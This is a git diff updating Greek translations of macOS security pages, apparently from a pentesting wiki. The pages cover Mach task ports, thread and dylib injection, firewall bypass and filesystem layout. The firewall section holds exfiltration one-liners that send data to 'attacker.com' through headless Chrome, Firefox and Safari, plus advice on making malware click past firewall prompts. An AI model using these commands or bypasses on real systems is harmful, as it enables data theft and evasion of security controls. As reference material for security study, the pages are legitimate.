> Σημειώστε ότι **τα mach μηνύματα αποστέλλονται μέσω μιας \_mach θύρας**\_, η οποία είναι ένα **κανάλι επικοινωνίας με έναν μόνο δέκτη**, **πολλούς αποστολείς** ενσωματωμένο στον πυρήνα mach. **Πολλές διεργασίες** μπορούν να **στείλουν μηνύματα** σε μια mach θύρα, αλλά σε οποιαδήποτε στιγμή μόνο **μία διεργασία μπορεί να διαβάσει** από αυτήν.
> Σημειώστε ότι **τα mach μηνύματα αποστέλλονται μέσω μιας \_mach port**\_, η οποία είναι ένα **κανάλι επικοινωνίας με έναν μόνο δέκτη**, **πολλούς αποστολείς** που είναι ενσωματωμένο στον πυρήνα mach. **Πολλές διεργασίες** μπορούν να **στείλουν μηνύματα** σε μια mach port, αλλά σε οποιαδήποτε στιγμή μόνο **μία διεργασία μπορεί να διαβάσει** από αυτήν.
### Καταμέτρηση θυρών
```bash
lsmp -p <pid>
```
Μπορείτε να εγκαταστήσετε αυτό το εργαλείο στο iOS κατεβάζοντας το από [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
Μπορείτε να εγκαταστήσετε αυτό το εργαλείο σε iOS κατεβάζοντας το από [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
### Παράδειγμα κώδικα
@ -227,16 +227,16 @@ printf("Sent a message\n");
### Προνομιακές Θύρες
- **Θύρα φιλοξενίας**: Εάν μια διαδικασία έχει **Δικαιώματα Αποστολής** σε αυτή τη θύρα, μπορεί να αποκτήσει **πληροφορίες** σχετικά με το **σύστημα** (π.χ. `host_processor_info`).
- **Θύρα φιλοξενίας με δικαιώματα**: Μια διαδικασία με **Δικαιώματα Αποστολής** σε αυτή τη θύρα μπορεί να εκτελέσει **προνομιακές ενέργειες** όπως η φόρτωση μιας επέκτασης πυρήνα. Η **διαδικασία πρέπει να είναι root** για να αποκτήσει αυτή την άδεια.
- **Θύρα φιλοξενίας**: Εάν μια διαδικασία έχει **δικαίωμα Αποστολής** σε αυτή τη θύρα, μπορεί να αποκτήσει **πληροφορίες** για το **σύστημα** (π.χ. `host_processor_info`).
- **Θύρα φιλοξενίας με δικαιώματα**: Μια διαδικασία με **δικαίωμα Αποστολής** σε αυτή τη θύρα μπορεί να εκτελεί **προνομιακές ενέργειες** όπως η φόρτωση μιας επέκτασης πυρήνα. Η **διαδικασία πρέπει να είναι root** για να αποκτήσει αυτή την άδεια.
- Επιπλέον, για να καλέσετε το API **`kext_request`** απαιτείται να έχετε άλλες εξουσιοδοτήσεις **`com.apple.private.kext*`** που δίνονται μόνο σε δυαδικά αρχεία της Apple.
- **Θύρα ονόματος εργασίας:** Μια μη προνομιακή έκδοση της _θύρας εργασίας_. Αναφέρεται στην εργασία, αλλά δεν επιτρέπει τον έλεγχο της. Το μόνο που φαίνεται να είναι διαθέσιμο μέσω αυτής είναι το `task_info()`.
- **Θύρα εργασίας** (aka θύρα πυρήνα)**:** Με άδεια Αποστολής σε αυτή τη θύρα είναι δυνατός ο έλεγχος της εργασίας (ανάγνωση/γραφή μνήμης, δημιουργία νημάτων...).
- Καλέστε το `mach_task_self()` για να **πάρετε το όνομα** αυτής της θύρας για την καλούσα εργασία. Αυτή η θύρα είναι μόνο **κληρονομούμενη** μέσω του **`exec()`**; μια νέα εργασία που δημιουργείται με `fork()` αποκτά μια νέα θύρα εργασίας (ως ειδική περίπτωση, μια εργασία αποκτά επίσης μια νέα θύρα εργασίας μετά το `exec()` σε ένα δυαδικό αρχείο suid). Ο μόνος τρόπος για να δημιουργήσετε μια εργασία και να αποκτήσετε τη θύρα της είναι να εκτελέσετε τον ["χορό ανταλλαγής θυρών"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) κατά τη διάρκεια ενός `fork()`.
- Καλέστε το `mach_task_self()` για να **πάρετε το όνομα** αυτής της θύρας για την καλούσα εργασία. Αυτή η θύρα είναι μόνο **κληρονομούμενη** μέσω του **`exec()`**; μια νέα εργασία που δημιουργείται με `fork()` αποκτά μια νέα θύρα εργασίας (ως ειδική περίπτωση, μια εργασία αποκτά επίσης μια νέα θύρα εργασίας μετά το `exec()` σε ένα δυαδικό αρχείο suid). Ο μόνος τρόπος για να δημιουργήσετε μια εργασία και να αποκτήσετε τη θύρα της είναι να εκτελέσετε τον ["χορό ανταλλαγής θύρας"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) κατά τη διάρκεια ενός `fork()`.
- Αυτοί είναι οι περιορισμοί για την πρόσβαση στη θύρα (από το `macos_task_policy` από το δυαδικό αρχείο `AppleMobileFileIntegrity`):
- Εάν η εφαρμογή έχει **`com.apple.security.get-task-allow` εξουσιοδότηση**, διαδικασίες από τον **ίδιο χρήστη μπορούν να αποκτήσουν πρόσβαση στη θύρα εργασίας** (συνήθως προστίθεται από το Xcode για αποσφαλμάτωση). Η διαδικασία **πιστοποίησης** δεν θα το επιτρέψει σε παραγωγικές εκδόσεις.
- Εφαρμογές με την **`com.apple.system-task-ports`** εξουσιοδότηση μπορούν να αποκτήσουν τη **θύρα εργασίας για οποιαδήποτε** διαδικασία, εκτός από τον πυρήνα. Σε παλαιότερες εκδόσεις ονομαζόταν **`task_for_pid-allow`**. Αυτό χορηγείται μόνο σε εφαρμογές της Apple.
- **Ο root μπορεί να αποκτήσει πρόσβαση στις θύρες εργασίας** εφαρμογών **που δεν** έχουν μεταγλωττιστεί με **σκληρυμένο** χρόνο εκτέλεσης (και όχι από την Apple).
- Εάν η εφαρμογή έχει **εξουσιοδότηση `com.apple.security.get-task-allow`**, διαδικασίες από τον **ίδιο χρήστη μπορούν να έχουν πρόσβαση στη θύρα εργασίας** (συνήθως προστίθεται από το Xcode για αποσφαλμάτωση). Η διαδικασία **πιστοποίησης** δεν θα το επιτρέψει σε παραγωγικές εκδόσεις.
- Εφαρμογές με την **εξουσιοδότηση `com.apple.system-task-ports`** μπορούν να αποκτήσουν τη **θύρα εργασίας για οποιαδήποτε** διαδικασία, εκτός από τον πυρήνα. Σε παλαιότερες εκδόσεις ονομαζόταν **`task_for_pid-allow`**. Αυτό χορηγείται μόνο σε εφαρμογές της Apple.
- **Ο root μπορεί να έχει πρόσβαση σε θύρες εργασίας** εφαρμογών **που δεν** έχουν μεταγλωττιστεί με **σκληρή** εκτέλεση (και όχι από την Apple).
### Εισαγωγή Shellcode σε νήμα μέσω Θύρας Εργασίας
@ -500,14 +500,15 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
```
### Dylib Injection in thread via Task port
Στο macOS, **threads** μπορεί να χειριστούν μέσω **Mach** ή χρησιμοποιώντας **posix `pthread` api**. Ο thread που δημιουργήσαμε στην προηγούμενη ένεση, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε **δεν είναι συμβατός με posix**.
Στο macOS, οι **νήματα** μπορεί να χειριστούν μέσω **Mach** ή χρησιμοποιώντας το **posix `pthread` api**. Το νήμα που δημιουργήσαμε στην προηγούμενη ένεση, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε **δεν είναι συμβατό με posix**.
Ήταν δυνατό να **εισαχθεί ένα απλό shellcode** για να εκτελέσει μια εντολή επειδή **δεν χρειαζόταν να λειτουργεί με apis συμβατές με posix**, μόνο με Mach. **Πιο σύνθετες ενέσεις** θα χρειάζονταν ο **thread** να είναι επίσης **συμβατός με posix**.
Ήταν δυνατό να **εισαχθεί ένας απλός κώδικας** για να εκτελέσει μια εντολή επειδή **δεν χρειαζόταν να λειτουργεί με apis συμβατά με posix**, μόνο με Mach. **Πιο σύνθετες ενέσεις** θα χρειάζονταν το **νήμα** να είναι επίσης **συμβατό με posix**.
Επομένως, για να **βελτιωθεί ο thread** θα πρέπει να καλέσει **`pthread_create_from_mach_thread`** που θα **δημιουργήσει ένα έγκυρο pthread**. Στη συνέχεια, αυτός ο νέος pthread θα μπορούσε να **καλέσει dlopen** για να **φορτώσει ένα dylib** από το σύστημα, έτσι αντί να γράφουμε νέο shellcode για να εκτελέσουμε διάφορες ενέργειες, είναι δυνατό να φορτώσουμε προσαρμοσμένες βιβλιοθήκες.
Επομένως, για να **βελτιωθεί το νήμα**, θα πρέπει να καλέσει **`pthread_create_from_mach_thread`** που θα **δημιουργήσει ένα έγκυρο pthread**. Στη συνέχεια, αυτό το νέο pthread θα μπορούσε να **καλέσει dlopen** για να **φορτώσει ένα dylib** από το σύστημα, έτσι ώστε αντί να γράφει νέο κώδικα για να εκτελέσει διάφορες ενέργειες, είναι δυνατό να φορτώσει προσαρμοσμένες βιβλιοθήκες.
Μπορείτε να βρείτε **παραδείγματα dylibs** σε (για παράδειγμα, αυτό που δημιουργεί ένα log και στη συνέχεια μπορείτε να το ακούσετε):
{{#ref}}
../../macos-dyld-hijacking-and-dyld_insert_libraries.md
{{#endref}}
@ -790,9 +791,10 @@ fprintf(stderr,"Dylib not found\n");
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
./inject <pid-of-mysleep> </path/to/lib.dylib>
```
### Thread Hijacking via Task port <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
### Hijacking Νήματος μέσω Task port <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
Σε αυτή την τεχνική, ένα νήμα της διαδικασίας παρεμποδίζεται:
Σε αυτή την τεχνική, ένα νήμα της διαδικασίας καταλαμβάνεται:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md
@ -800,11 +802,12 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
## XPC
### Basic Information
### Βασικές Πληροφορίες
Το XPC, που σημαίνει XNU (ο πυρήνας που χρησιμοποιείται από το macOS) inter-Process Communication, είναι ένα πλαίσιο για **επικοινωνία μεταξύ διαδικασιών** στο macOS και το iOS. Το XPC παρέχει έναν μηχανισμό για **ασφαλείς, ασύγχρονες κλήσεις μεθόδων μεταξύ διαφορετικών διαδικασιών** στο σύστημα. Είναι μέρος της ασφάλειας της Apple, επιτρέποντας τη **δημιουργία εφαρμογών με διαχωρισμένα δικαιώματα** όπου κάθε **συστατικό** εκτελείται με **μόνο τα δικαιώματα που χρειάζεται** για να κάνει τη δουλειά του, περιορίζοντας έτσι τη δυνητική ζημιά από μια συμβιβασμένη διαδικασία.
Το XPC, που σημαίνει XNU (ο πυρήνας που χρησιμοποιείται από το macOS) inter-Process Communication, είναι ένα πλαίσιο για **επικοινωνία μεταξύ διαδικασιών** στο macOS και το iOS. Το XPC παρέχει έναν μηχανισμό για **ασφαλείς, ασύγχρονες κλήσεις μεθόδων μεταξύ διαφορετικών διαδικασιών** στο σύστημα. Είναι μέρος της ασφάλειας της Apple, επιτρέποντας τη **δημιουργία εφαρμογών με διαχωρισμένα δικαιώματα** όπου κάθε **συστατικό** εκτελείται με **μόνο τα δικαιώματα που χρειάζεται** για να κάνει τη δουλειά του, περιορίζοντας έτσι τη δυνητική ζημιά από μια παραβιασμένη διαδικασία.
Για περισσότερες πληροφορίες σχετικά με το πώς αυτή η **επικοινωνία λειτουργεί** και πώς θα μπορούσε να είναι ευάλωτη, ελέγξτε:
Για περισσότερες πληροφορίες σχετικά με το πώς αυτή η **επικοινωνία λειτουργεί** και πώς θα μπορούσε να είναι **ευάλωτη**, ελέγξτε:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/
@ -816,11 +819,12 @@ gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
Για περισσότερες πληροφορίες, ελέγξτε:
{{#ref}}
../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
{{#endref}}
## References
## Αναφορές
- [https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)
- [https://knight.sc/malware/2019/03/15/code-injection-on-macos.html](https://knight.sc/malware/2019/03/15/code-injection-on-macos.html)

View File

@ -14,13 +14,13 @@
- Αν το firewall ζητήσει άδεια από τον χρήστη, κάντε το κακόβουλο λογισμικό να **κλικάρει στο επιτρέπω**
### **Χρησιμοποιήστε υπογεγραμμένα δυαδικά αρχεία της Apple**
### **Χρήση υπογεγραμμένων δυαδικών αρχείων της Apple**
- Όπως **`curl`**, αλλά και άλλα όπως **`whois`**
### Γνωστά domains της Apple
Το firewall θα μπορούσε να επιτρέπει συνδέσεις σε γνωστά domains της Apple όπως **`apple.com`** ή **`icloud.com`**. Και το iCloud θα μπορούσε να χρησιμοποιηθεί ως C2.
Το firewall μπορεί να επιτρέπει συνδέσεις σε γνωστά domains της Apple όπως **`apple.com`** ή **`icloud.com`**. Και το iCloud θα μπορούσε να χρησιμοποιηθεί ως C2.
### Γενική Παράκαμψη
@ -53,7 +53,7 @@ end tell
```bash
"Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil"
```
- Φοίνιξ
- Φοίνικας
```bash
firefox-bin --headless "https://attacker.com?data=data%20to%20exfil"
```
@ -65,6 +65,7 @@ open -j -a Safari "https://attacker.com?data=data%20to%20exfil"
Αν μπορείτε να **εισάγετε κώδικα σε μια διαδικασία** που επιτρέπεται να συνδεθεί σε οποιονδήποτε διακομιστή, θα μπορούσατε να παρακάμψετε τις προστασίες του τείχους προστασίας:
{{#ref}}
macos-proces-abuse/
{{#endref}}
@ -84,7 +85,7 @@ open "http://attacker%2Ecom%2F./" # should be blocked by Screen Time
```
### Bug στην παραγγελία κανόνων του Packet Filter (PF) σε πρώιμο macOS 14 “Sonoma”
Κατά τη διάρκεια του beta κύκλου του macOS 14, η Apple εισήγαγε μια αναστροφή στο wrapper του userspace γύρω από **`pfctl`**.
Οι κανόνες που προστέθηκαν με τη λέξη-κλειδί `quick` (που χρησιμοποιείται από πολλές VPN kill-switches) αγνοήθηκαν σιωπηλά, προκαλώντας διαρροές κυκλοφορίας ακόμη και όταν μια GUI VPN/firewall ανέφερε *μπλοκαρισμένο*. Το bug επιβεβαιώθηκε από αρκετούς προμηθευτές VPN και διορθώθηκε στην RC 2 (build 23A344).
Οι κανόνες που προστέθηκαν με τη λέξη-κλειδί `quick` (που χρησιμοποιείται από πολλές kill-switches VPN) αγνοήθηκαν σιωπηλά, προκαλώντας διαρροές κυκλοφορίας ακόμη και όταν μια GUI VPN/firewall ανέφερε *μπλοκαρισμένο*. Το σφάλμα επιβεβαιώθηκε από αρκετούς προμηθευτές VPN και διορθώθηκε στην RC 2 (build 23A344).
Γρήγορος έλεγχος διαρροής:
```bash
@ -92,8 +93,8 @@ pfctl -sr | grep quick # rules are present…
sudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface
```
### Κατάχρηση υπηρεσιών βοηθού υπογεγραμμένων από την Apple (παλαιά προ-macOS 11.2)
Πριν από το macOS 11.2, η **`ContentFilterExclusionList`** επέτρεπε ~50 δυαδικά της Apple όπως το **`nsurlsessiond`** και το App Store να παρακάμπτουν όλα τα τείχη προστασίας φίλτρου υποδοχών που υλοποιήθηκαν με το πλαίσιο Network Extension (LuLu, Little Snitch, κ.λπ.).
Το κακόβουλο λογισμικό μπορούσε απλά να δημιουργήσει μια διαδικασία που εξαιρείται—ή να εισάγει κώδικα σε αυτήν—και να σήκώσει τη δική του κίνηση μέσω της ήδη επιτρεπόμενης υποδοχής. Η Apple αφαίρεσε εντελώς τη λίστα εξαιρέσεων στο macOS 11.2, αλλά η τεχνική είναι ακόμα σχετική σε συστήματα που δεν μπορούν να αναβαθμιστούν.
Πριν από το macOS 11.2, η **`ContentFilterExclusionList`** επέτρεπε ~50 δυαδικά αρχεία της Apple όπως το **`nsurlsessiond`** και το App Store να παρακάμπτουν όλα τα τείχη προστασίας φίλτρου υποδοχών που υλοποιήθηκαν με το πλαίσιο Network Extension (LuLu, Little Snitch, κ.λπ.).
Το κακόβουλο λογισμικό μπορούσε απλά να δημιουργήσει μια εξαιρεθείσα διαδικασία—ή να εισάγει κώδικα σε αυτήν—και να σήρα την δική του κίνηση μέσω της ήδη επιτρεπόμενης υποδοχής. Η Apple αφαίρεσε εντελώς τη λίστα εξαιρέσεων στο macOS 11.2, αλλά η τεχνική είναι ακόμα σχετική σε συστήματα που δεν μπορούν να αναβαθμιστούν.
Παράδειγμα απόδειξης της έννοιας (προ-11.2):
```python
@ -118,7 +119,7 @@ codesign -d --entitlements :- /path/to/bin 2>/dev/null \
| plutil -extract com.apple.security.network.client xml1 -o - -
```
3. Προγραμματικά καταχωρίστε το δικό σας φίλτρο περιεχομένου Network Extension σε Objective-C/Swift.
Μια ελάχιστη rootless PoC που προωθεί πακέτα σε ένα τοπικό socket είναι διαθέσιμη στον πηγαίο κώδικα του **LuLu** του Patrick Wardle.
Μια ελάχιστη rootless PoC που προωθεί πακέτα σε τοπική υποδοχή είναι διαθέσιμη στον πηγαίο κώδικα του **LuLu** του Patrick Wardle.
## Αναφορές

View File

@ -10,15 +10,15 @@
- **/dev**: Όλα αντιμετωπίζονται ως αρχεία, οπότε μπορεί να δείτε υλικοτεχνικές συσκευές αποθηκευμένες εδώ.
- **/etc**: Αρχεία ρυθμίσεων
- **/Library**: Πολλοί υποφάκελοι και αρχεία που σχετίζονται με προτιμήσεις, cache και logs μπορούν να βρεθούν εδώ. Ένας φάκελος Library υπάρχει στη ρίζα και στον κατάλογο κάθε χρήστη.
- **/private**: Μη τεκμηριωμένο αλλά πολλοί από τους αναφερόμενους φακέλους είναι συμβολικοί σύνδεσμοι προς τον ιδιωτικό κατάλογο.
- **/private**: Μη τεκμηριωμένο, αλλά πολλοί από τους αναφερόμενους φακέλους είναι συμβολικοί σύνδεσμοι προς τον ιδιωτικό κατάλογο.
- **/sbin**: Βασικά συστήματα δυαδικών αρχείων (σχετικά με τη διαχείριση)
- **/System**: Αρχεία για την εκτέλεση του OS X. Θα βρείτε κυρίως μόνο αρχεία που σχετίζονται με την Apple εδώ (όχι τρίτων).
- **/tmp**: Τα αρχεία διαγράφονται μετά από 3 ημέρες (είναι ένας μαλακός σύνδεσμος προς /private/tmp)
- **/Users**: Κατάλογος αρχικής για τους χρήστες.
- **/usr**: Ρυθμίσεις και δυαδικά αρχεία συστήματος
- **/usr**: Ρυθμίσεις και συστήματα δυαδικών αρχείων
- **/var**: Αρχεία καταγραφής
- **/Volumes**: Οι προσαρτημένοι δίσκοι θα εμφανίζονται εδώ.
- **/.vol**: Εκτελώντας `stat a.txt` αποκτάτε κάτι σαν `16777223 7545753 -rw-r--r-- 1 username wheel ...` όπου ο πρώτος αριθμός είναι ο αριθμός ταυτότητας του τόμου όπου υπάρχει το αρχείο και ο δεύτερος είναι ο αριθμός inode. Μπορείτε να αποκτήσετε πρόσβαση στο περιεχόμενο αυτού του αρχείου μέσω /.vol/ με αυτές τις πληροφορίες εκτελώντας `cat /.vol/16777223/7545753`
- **/.vol**: Εκτελώντας `stat a.txt` αποκτάτε κάτι σαν `16777223 7545753 -rw-r--r-- 1 username wheel ...` όπου ο πρώτος αριθμός είναι ο αριθμός ταυτότητας του τόμου όπου υπάρχει το αρχείο και ο δεύτερος είναι ο αριθμός inode. Μπορείτε να αποκτήσετε το περιεχόμενο αυτού του αρχείου μέσω /.vol/ με αυτές τις πληροφορίες εκτελώντας `cat /.vol/16777223/7545753`
### Φάκελοι Εφαρμογών
@ -26,14 +26,14 @@
- **Εγκατεστημένες** εφαρμογές συνήθως εγκαθίστανται σε `/Applications` ή σε `~/Applications`
- **Δεδομένα εφαρμογών** μπορούν να βρεθούν σε `/Library/Application Support` για τις εφαρμογές που εκτελούνται ως root και `~/Library/Application Support` για τις εφαρμογές που εκτελούνται ως χρήστης.
- Οι **daemons** τρίτων που **χρειάζονται να εκτελούνται ως root** συνήθως βρίσκονται σε `/Library/PrivilegedHelperTools/`
- Οι **Sandboxed** εφαρμογές είναι χαρτογραφημένες στον φάκελο `~/Library/Containers`. Κάθε εφαρμογή έχει έναν φάκελο ονομασμένο σύμφωνα με το ID του bundle της εφαρμογής (`com.apple.Safari`).
- Οι **Sandboxed** εφαρμογές είναι χαρτογραφημένες στον φάκελο `~/Library/Containers`. Κάθε εφαρμογή έχει έναν φάκελο ονομασμένο σύμφωνα με το ID bundle της εφαρμογής (`com.apple.Safari`).
- Ο **kernel** βρίσκεται σε `/System/Library/Kernels/kernel`
- Οι **επέκταση πυρήνα της Apple** βρίσκονται σε `/System/Library/Extensions`
- Οι **επέκταση πυρήνα τρίτων** αποθηκεύονται σε `/Library/Extensions`
### Αρχεία με Ευαίσθητες Πληροφορίες
Το macOS αποθηκεύει πληροφορίες όπως κωδικούς πρόσβασης σε πολλές θέσεις:
Το macOS αποθηκεύει πληροφορίες όπως κωδικούς πρόσβασης σε πολλές τοποθεσίες:
{{#ref}}
macos-sensitive-locations.md
@ -58,12 +58,12 @@ macos-installers-abuse.md
- `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
- **`.app`**: Εφαρμογές της Apple που ακολουθούν τη δομή καταλόγου (είναι ένα bundle).
- **`.dylib`**: Δυναμικές βιβλιοθήκες (όπως τα αρχεία DLL των Windows)
- **`.pkg`**: Είναι τα ίδια με το xar (eXtensible Archive format). Η εντολή εγκατάστασης μπορεί να χρησιμοποιηθεί για την εγκατάσταση των περιεχομένων αυτών των αρχείων.
- **`.pkg`**: Είναι τα ίδια με το xar (eXtensible Archive format). Η εντολή εγκατάστασης μπορεί να χρησιμοποιηθεί για να εγκαταστήσει τα περιεχόμενα αυτών των αρχείων.
- **`.DS_Store`**: Αυτό το αρχείο βρίσκεται σε κάθε κατάλογο, αποθηκεύει τα χαρακτηριστικά και τις προσαρμογές του καταλόγου.
- **`.Spotlight-V100`**: Αυτός ο φάκελος εμφανίζεται στον ριζικό κατάλογο κάθε τόμου στο σύστημα.
- **`.metadata_never_index`**: Αν αυτό το αρχείο βρίσκεται στη ρίζα ενός τόμου, το Spotlight δεν θα ευρετηριάσει αυτόν τον τόμο.
- **`.noindex`**: Αρχεία και φάκελοι με αυτήν την επέκταση δεν θα ευρετηριαστούν από το Spotlight.
- **`.sdef`**: Αρχεία μέσα σε bundles που καθορίζουν πώς είναι δυνατόν να αλληλεπιδράσετε με την εφαρμογή από ένα AppleScript.
- **`.sdef`**: Αρχεία μέσα σε bundles που καθορίζουν πώς είναι δυνατό να αλληλεπιδράσετε με την εφαρμογή από ένα AppleScript.
### macOS Bundles
@ -100,13 +100,13 @@ dyldex_all [dyld_shared_cache_path] # Extract all
Ορισμένοι extractor δεν θα λειτουργήσουν καθώς οι dylibs είναι προ-συνδεδεμένες με σκληρά κωδικοποιημένες διευθύνσεις και επομένως μπορεί να πηδούν σε άγνωστες διευθύνσεις.
> [!TIP]
> Είναι επίσης δυνατό να κατεβάσετε την Shared Library Cache άλλων \*OS συσκευών στο macos χρησιμοποιώντας έναν εξομοιωτή στο Xcode. Θα κατεβούν μέσα: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`, όπως: `$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`
> Είναι επίσης δυνατό να κατεβάσετε την Shared Library Cache άλλων συσκευών \*OS στο macos χρησιμοποιώντας έναν εξομοιωτή στο Xcode. Θα κατεβούν μέσα: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport/<version>/Symbols/System/Library/Caches/com.apple.dyld/`, όπως: `$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64`
### Mapping SLC
**`dyld`** χρησιμοποιεί την syscall **`shared_region_check_np`** για να γνωρίζει αν το SLC έχει χαρτογραφηθεί (το οποίο επιστρέφει τη διεύθυνση) και **`shared_region_map_and_slide_np`** για να χαρτογραφήσει το SLC.
Σημειώστε ότι ακόμη και αν το SLC έχει μετατοπιστεί κατά την πρώτη χρήση, όλες οι **διεργασίες** χρησιμοποιούν την **ίδια αντίγραφο**, το οποίο **εξαλείφει την προστασία ASLR** αν ο επιτιθέμενος ήταν σε θέση να εκτελέσει διεργασίες στο σύστημα. Αυτό εκμεταλλεύτηκε στο παρελθόν και διορθώθηκε με τον shared region pager.
Σημειώστε ότι ακόμη και αν το SLC έχει μετατοπιστεί κατά την πρώτη χρήση, όλες οι **διεργασίες** χρησιμοποιούν το **ίδιο αντίγραφο**, το οποίο **εξαλείφει την προστασία ASLR** αν ο επιτιθέμενος ήταν σε θέση να εκτελέσει διεργασίες στο σύστημα. Αυτό εκμεταλλεύτηκε στο παρελθόν και διορθώθηκε με τον pager κοινής περιοχής.
Τα branch pools είναι μικρές Mach-O dylibs που δημιουργούν μικρούς χώρους μεταξύ των χαρτογραφήσεων εικόνας, καθιστώντας αδύνατο να παρεμβληθούν οι λειτουργίες.
@ -114,8 +114,8 @@ dyldex_all [dyld_shared_cache_path] # Extract all
Χρησιμοποιώντας τις μεταβλητές περιβάλλοντος:
- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR=</path/dir> DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Αυτό θα επιτρέψει τη φόρτωση μιας νέας shared library cache
- **`DYLD_SHARED_CACHE_DIR=avoid`** και αντικαταστήστε χειροκίνητα τις βιβλιοθήκες με symlinks στη shared cache με τις πραγματικές (θα χρειαστεί να τις εξαγάγετε).
- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR=</path/dir> DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Αυτό θα επιτρέψει τη φόρτωση μιας νέας κοινής βιβλιοθήκης cache.
- **`DYLD_SHARED_CACHE_DIR=avoid`** και αντικαταστήστε χειροκίνητα τις βιβλιοθήκες με symlinks στην κοινή cache με τις πραγματικές (θα χρειαστεί να τις εξαγάγετε).
## Special File Permissions
@ -134,7 +134,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all
Όλες οι σημαίες μπορούν να βρεθούν στο αρχείο `sys/stat.h` (βρείτε το χρησιμοποιώντας `mdfind stat.h | grep stat.h`) και είναι:
- `UF_SETTABLE` 0x0000ffff: Μάσκα μεταβλητών που αλλάζουν από τον ιδιοκτήτη.
- `UF_SETTABLE` 0x0000ffff: Μάσκα σημαίων που μπορούν να αλλάξουν από τον ιδιοκτήτη.
- `UF_NODUMP` 0x00000001: Μην εκφορτώνετε το αρχείο.
- `UF_IMMUTABLE` 0x00000002: Το αρχείο δεν μπορεί να αλλάξει.
- `UF_APPEND` 0x00000004: Οι εγγραφές στο αρχείο μπορούν μόνο να προστεθούν.
@ -144,19 +144,19 @@ dyldex_all [dyld_shared_cache_path] # Extract all
- `UF_DATAVAULT` 0x00000080: Απαιτείται δικαίωμα για ανάγνωση και εγγραφή.
- `UF_HIDDEN` 0x00008000: Υπόδειξη ότι αυτό το στοιχείο δεν πρέπει να εμφανίζεται σε GUI.
- `SF_SUPPORTED` 0x009f0000: Μάσκα σημαίων που υποστηρίζονται από superuser.
- `SF_SETTABLE` 0x3fff0000: Μάσκα μεταβλητών που αλλάζουν από superuser.
- `SF_SYNTHETIC` 0xc0000000: Μάσκα συστημικών αναγνωρίσιμων συνθετικών σημαίων.
- `SF_SETTABLE` 0x3fff0000: Μάσκα σημαίων που μπορούν να αλλάξουν από superuser.
- `SF_SYNTHETIC` 0xc0000000: Μάσκα συστημικών αναγνωρίσιμων σημαίων μόνο για ανάγνωση.
- `SF_ARCHIVED` 0x00010000: Το αρχείο είναι αρχειοθετημένο.
- `SF_IMMUTABLE` 0x00020000: Το αρχείο δεν μπορεί να αλλάξει.
- `SF_APPEND` 0x00040000: Οι εγγραφές στο αρχείο μπορούν μόνο να προστεθούν.
- `SF_RESTRICTED` 0x00080000: Απαιτείται δικαίωμα για εγγραφή.
- `SF_NOUNLINK` 0x00100000: Το στοιχείο δεν μπορεί να αφαιρεθεί, να μετονομαστεί ή να προσαρτηθεί.
- `SF_NOUNLINK` 0x00100000: Το στοιχείο δεν μπορεί να αφαιρεθεί, μετονομαστεί ή τοποθετηθεί.
- `SF_FIRMLINK` 0x00800000: Το αρχείο είναι firmlink.
- `SF_DATALESS` 0x40000000: Το αρχείο είναι αντικείμενο χωρίς δεδομένα.
### **File ACLs**
Οι **ACLs** αρχείων περιέχουν **ACE** (Εγγραφές Ελέγχου Πρόσβασης) όπου μπορούν να ανατεθούν πιο **λεπτομερείς άδειες** σε διαφορετικούς χρήστες.
Οι **ACLs** αρχείων περιέχουν **ACE** (Access Control Entries) όπου μπορούν να ανατεθούν πιο **λεπτομερείς άδειες** σε διαφορετικούς χρήστες.
Είναι δυνατόν να παραχωρήσετε σε έναν **κατάλογο** αυτές τις άδειες: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\
Και σε ένα **αρχείο**: `read`, `write`, `append`, `execute`.
@ -196,7 +196,7 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
### Resource Forks | macOS ADS
Αυτή είναι μια μέθοδος για να αποκτήσετε **Εναλλακτικά Ρεύματα Δεδομένων σε MacOS** μηχανές. Μπορείτε να αποθηκεύσετε περιεχόμενο μέσα σε μια εκτεταμένη ιδιότητα που ονομάζεται **com.apple.ResourceFork** μέσα σε ένα αρχείο αποθηκεύοντάς το σε **file/..namedfork/rsrc**.
Αυτή είναι μια μέθοδος για να αποκτήσετε **Εναλλακτικά Ρεύματα Δεδομένων σε μηχανές MacOS**. Μπορείτε να αποθηκεύσετε περιεχόμενο μέσα σε μια εκτεταμένη ιδιότητα που ονομάζεται **com.apple.ResourceFork** μέσα σε ένα αρχείο αποθηκεύοντάς το στο **file/..namedfork/rsrc**.
```bash
